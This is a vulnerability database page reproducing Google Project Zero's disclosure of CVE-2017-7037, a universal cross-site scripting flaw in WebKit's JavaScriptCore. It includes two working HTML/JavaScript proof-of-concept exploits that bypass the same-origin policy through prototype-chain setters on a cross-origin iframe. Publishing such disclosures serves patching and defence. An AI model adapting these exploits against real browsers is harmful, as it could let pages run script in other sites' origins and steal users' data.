Lucene search
K

WebKit JSC JSObject::putInlineSlow / JSValue::putToPrimitive XSS

🗓️ 25 Jul 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

WebKit JSC UXSS via JSObject putInlineSlow and JSValue putToPrimitive CVE-2017-703

Related
Code
`WebKit: JSC: UXSS via JSObject::putInlineSlow and JSValue::putToPrimitive   
  
CVE-2017-7037  
  
  
JSObject::putInlineSlow and JSValue::putToPrimitive use getPrototypeDirect instead of getPrototype to get an object's prototype. So JSDOMWindow::getPrototype which checks the Same Origin Policy is not called.  
  
The PoC shows to call a setter of another origin's object.  
  
PoC 1 - JSValue::putToPrimitive:  
<body>  
<script>  
  
let f = document.body.appendChild(document.createElement('iframe'));  
let loc = f.contentWindow.location;  
f.onload = () => {  
let a = 1.2;  
a.__proto__.__proto__ = f.contentWindow;  
  
a['test'] = {toString: function () {  
arguments.callee.caller.constructor('alert(location)')();  
}};  
};  
f.src = 'data:text/html,' + `<iframe></iframe><script>  
Object.prototype.__defineSetter__('test', v => {  
'a' + v;  
});  
  
</scrip` + `t>`;  
  
</script>  
</body>  
  
  
PoC 2 - JSObject::putInlineSlow:  
<body>  
<script>  
  
let f = document.body.appendChild(document.createElement('iframe'));  
let loc = f.contentWindow.location;  
f.onload = () => {  
let a = {  
__proto__: f.contentWindow  
};  
  
a['test'] = {toString: function () {  
arguments.callee.caller.constructor('alert(location)')();  
}};  
};  
f.src = 'data:text/html,' + `<iframe></iframe><script>  
Object.prototype.__defineSetter__('test', v => {  
'a' + v;  
});  
  
</scrip` + `t>`;  
</script>  
</body>  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation